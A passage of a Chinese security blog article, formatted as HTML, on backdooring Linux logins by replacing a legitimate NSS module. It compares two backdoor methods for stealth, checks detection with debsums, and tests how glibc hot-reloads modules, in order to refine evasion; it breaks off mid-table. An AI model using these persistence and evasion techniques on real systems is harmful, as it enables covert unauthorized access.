style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.287962962962963" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019435" src="https://wechat2rss.xlab.app/img-proxy/?k=36d06298&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7icpL221ib6YjlrCTfp0VXSIQksqj1L7qMayRwGKYeMzXEurx8GafSGIClebSh6eQVqtKAvicYWRx0DeQqDCXpL8SYruYFjqmxxLZLY2cGRhKI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">后门完全生效。 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.conf</span></code><span leaf=""> 未修改，无新增 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.so</span></code><span leaf=""> 文件名（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss_systemd.so.2</span></code><span leaf=""> 文件名不变，完全可以重写该so并重新编译），SSH 登录 + sudo 提权全部正常。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">5.4 debsums 检测</span></h3><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">debsums -a -c</span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.12037037037037036" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019439" src="https://wechat2rss.xlab.app/img-proxy/?k=0e439640&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7icpL221ib6YiaARibrCVoFXsGKQgUaqaSfibLpVjXBsMbJiaZMPwvEbv4ibwdIzJyaIVyB5vt7eRFx45aZeCxUJGrK8Fdv2IqsUqhJwHE5XJ4JBB0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">请忽略 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">proxychains</span></code><span leaf=""> 的配置文件的更改，与本次无关。 可以看到，这次修改的 so 能被 debsums 发现</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">5.5 与 0x04 方式的对比</span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">对比项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">0x04 添加数据源</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">0x05 替换合法模块</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">修改 </span><code><span leaf="">nsswitch.conf</span></code></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">✅ 需要</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">❌ 不需要</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">新增 </span><code><span leaf="">.so</span></code><span leaf=""> 文件</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">✅ </span><code><span leaf="">libnss_nop.so.2</span></code></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">❌ 文件名不变（但多一个 </span><code><span leaf="">.orig</span></code><span leaf=""> 备份）</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">检查 </span><code><span leaf="">nsswitch.conf</span></code><span leaf=""> 可发现</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">✅ 容易</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">❌ 看不出异常</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">ls</span></code><p><span leaf=""> 库目录可发现</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">✅ 多出可疑文件</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">⚠️ 文件名一致，但大小/哈希不同</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">debsums -a -c</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">❌ 无法检测（详见 4.4 节）</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">✅ 能检测到哈希变化（详见 5.4 节）</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">文件完整性检查（AIDE/Tripwire）</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">⚠️ 取决于基线是否覆盖新增路径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">⚠️ 可发现（已注册文件的哈希变化）</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">系统更新覆盖风险</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">❌ 不受影响</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">⚠️ </span><code><span leaf="">libnss-systemd</span></code><span leaf=""> 更新会覆盖木马化模块</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">实现复杂度</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">低</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">中（需要包装原始模块）</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">兼容性风险</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">低</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">⚠️ 需确认目标模块走 </span><code><span leaf="">dlopen</span></code><span leaf=""> 路径</span></p></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">核心结论</span></strong><span leaf="">：0x05 比 0x04 更隐蔽，但有两个需要注意的点：</span></p><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: decimal;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">不是所有 NSS 模块都能替换</span></strong><span leaf="">：</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files</span></code><span leaf=""> 和 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">dns</span></code><span leaf=""> 是 glibc 内置模块，不走 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">dlopen</span></code><span leaf="">，替换无效。必须选择第三方模块（如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">systemd</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">ldap</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">sss</span></code><span leaf=""> 等）。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">共同弱点是文件完整性检查</span></strong><span leaf="">——无论怎么伪装，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.so</span></code><span leaf=""> 文件的哈希值一定会变。</span></p></li></ol><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x06 精细化后门探索</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">0x04 和 0x05 实现了两种基础后门方式，但在实战中还存在不少问题：后门用户名太明显、密码硬编码、文件完整性检查暴露、系统更新覆盖等。本章将对这些问题逐一进行精细化改进，每个小节都有具体的代码和实验验证。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">6.1 NSS 热加载机制验证</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">在实战中，后门的&#34;生效/失效&#34;时机非常关键。本节通过三个实验，验证 NSS 模块在不同操作下的行为。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">实验 1：删除 </span><code><span leaf="">.so</span></code><span leaf=""> 文件，保留 </span><code><span leaf="">nsswitch.conf</span></code></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">实验假设</span></strong><span leaf="">：</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.so</span></code><span leaf=""> 文件被删除后，已运行的进程（如 sshd）是否仍能解析后门用户？</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3101851851851852" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019442" src="https://wechat2rss.xlab.app/img-proxy/?k=34a2c1d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7icpL221ib6YiaQt5w7KUXPQW4vCWUO2I7lzY18shGx5waJh4g0DVF9BAjjwqHJ7jJ8TfJ3TsDA7W2TXjkkxfpZPKebicvF7K9SHxZQXbJbnrWc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">结论</span></strong><span leaf="">：删除 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.so</span></code><span leaf=""> 后，</span><strong style="font-weight: bold;color: black;"><span leaf="">新进程立即失效</span></strong><span leaf="">。但注意，已运行且已 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">dlopen</span></code><span leaf=""> 过该模块的进程（如长期运行的 daemon），其内存中仍持有模块引用，不会受影响。对于 SSH 而言，已建立的 SSH 会话（sshd fork 出的子进程已加载模块到内存）仍能正常使用后门用户身份，但</span><strong style="font-weight: bold;color: black;"><span leaf="">新 SSH 连接</span></strong><span leaf="">将无法认证后门用户（新子进程 dlopen 失败）。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">原理</span></strong><span leaf="">：glibc 通过 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">__libc_dlopen()</span></code><span leaf=""> 加载 NSS 模块后，即使磁盘文件被删除，进程的内存映射仍然有效。但新进程无法找到 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.so</span></code><span leaf=""> 文件，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">dlopen</span></code><span leaf=""> 返回 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">NULL</span></code><span leaf="">，模块加载失败。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">实验 2：修改 </span><code><span leaf="">nsswitch.conf</span></code><span leaf="">，保留 </span><code><span leaf="">.so</span></code><span leaf=""> 文件</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">实验假设</span></strong><span leaf="">：修改 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.conf</span></code><span leaf=""> 后，是否需要重启进程才能生效？</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.19166666666666668" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019441" src="https://wechat2rss.xlab.app/img-proxy/?k=6d1973a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7icpL221ib6YgdFMRmvkHyia7ryZtRIHVJu9I4NltWwcMJtoia1FM7E3YFDc7tqC4aM2byvzWyWS5W126YKGia5ibiazmPIAwFtN9TgpHLwiamiclQAY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">结论</span></strong><span leaf="">：修改 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.conf</span></code><span leaf=""> 后，</span><strong style="font-weight: bold;color: black;"><span leaf="">新进程立即生效</span></strong><span leaf="">，无需重启任何服务。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">原理</span></strong><span leaf="">：glibc 在每次 NSS 查询时，会检查 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.conf</span></code><span leaf=""> 文件的 mtime 和 size 是否变化。</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nss_database.c</span></code><span leaf=""> 中的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nss_database_check_reload_and_get()</span></code><span leaf=""> 函数实现了这一机制：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// nss_database.c 第 410-421 行</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">struct</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">file_change_detection</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">initial</span></span><span leaf="">;</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!__file_change_detection_for_path (&amp;initial, _PATH_NSSWITCH_CONF))</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">false</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (__file_is_unchanged (&amp;initial, &amp;local-&gt;data.nsswitch_conf))</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 配置未变化，直接使用缓存</span></span><span leaf=""><br/></span><span leaf="">    *result = local-&gt;data.services[database_index];</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">true</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 配置已变化，重新加载</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">bool</span></span><span leaf=""> ok = nss_database_reload (&amp;staging, &amp;initial);</span></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">实验 3：覆盖 </span><code><span leaf="">.so</span></code><span leaf=""> 文件</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">实验假设</span></strong><span leaf="">：用新版木马覆盖旧版时，已运行进程和新进程分别使用哪个版本？</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2962962962962963" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019440" src="https://wechat2rss.xlab.app/img-proxy/?k=4c68cc22&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7icpL221ib6YiamvWTibpnhxMsNhrS1rDMx9Dwvkictibtt5xe5lu5Q9XI8pjduIuyicVDXpSYe52uGeibO0c7XjxQ2bsfsibEFduyXvOrXUHMrTtxK8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">结论</span></strong><span leaf="">：覆盖 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.so</span></code><span leaf=""> 后，</span><strong style="font-weight: bold;color: black;"><span leaf="">新进程立即使用新版</span></strong><span leaf="">。已运行且已加载旧版的进程不受影响（内存中持有旧版映射）。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">原理</span></strong><span leaf="">：Linux 的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">dlopen</span></code><span leaf=""> 使用内存映射（mmap）加载 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.so</span></code><span leaf="">。glibc 的 NSS 模块加载机制（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">__libc_dlopen</span></code><span leaf="">）虽然未显式传入 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">RTLD_NODELETE</span></code><span leaf=""> 标志，但动态链接器会在加载后隐式将 NSS 模块标记为 nodelete（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">LD_DEBUG</span></code><span leaf=""> 输出中可见 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">activating NODELETE</span></code><span leaf="">），使其在进程生命周期内不会被卸载。但新进程会重新 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">dlopen</span></code><span leaf="">，加载磁盘上的最新版本。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">热加载行为总结</span></h4><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">操作</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">已运行进程</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">新进程</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">删除 </span><code><span leaf="">.so</span></code><span leaf=""> 文件</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">✅ 不受影响（内存映射）</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">❌ 模块加载失败</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">修改 </span><code><span leaf="">nsswitch.conf</span></code></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">⚠️ 下次查询时重载配置</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">✅ 立即使用新配置</span></p></td></tr><tr style="border: 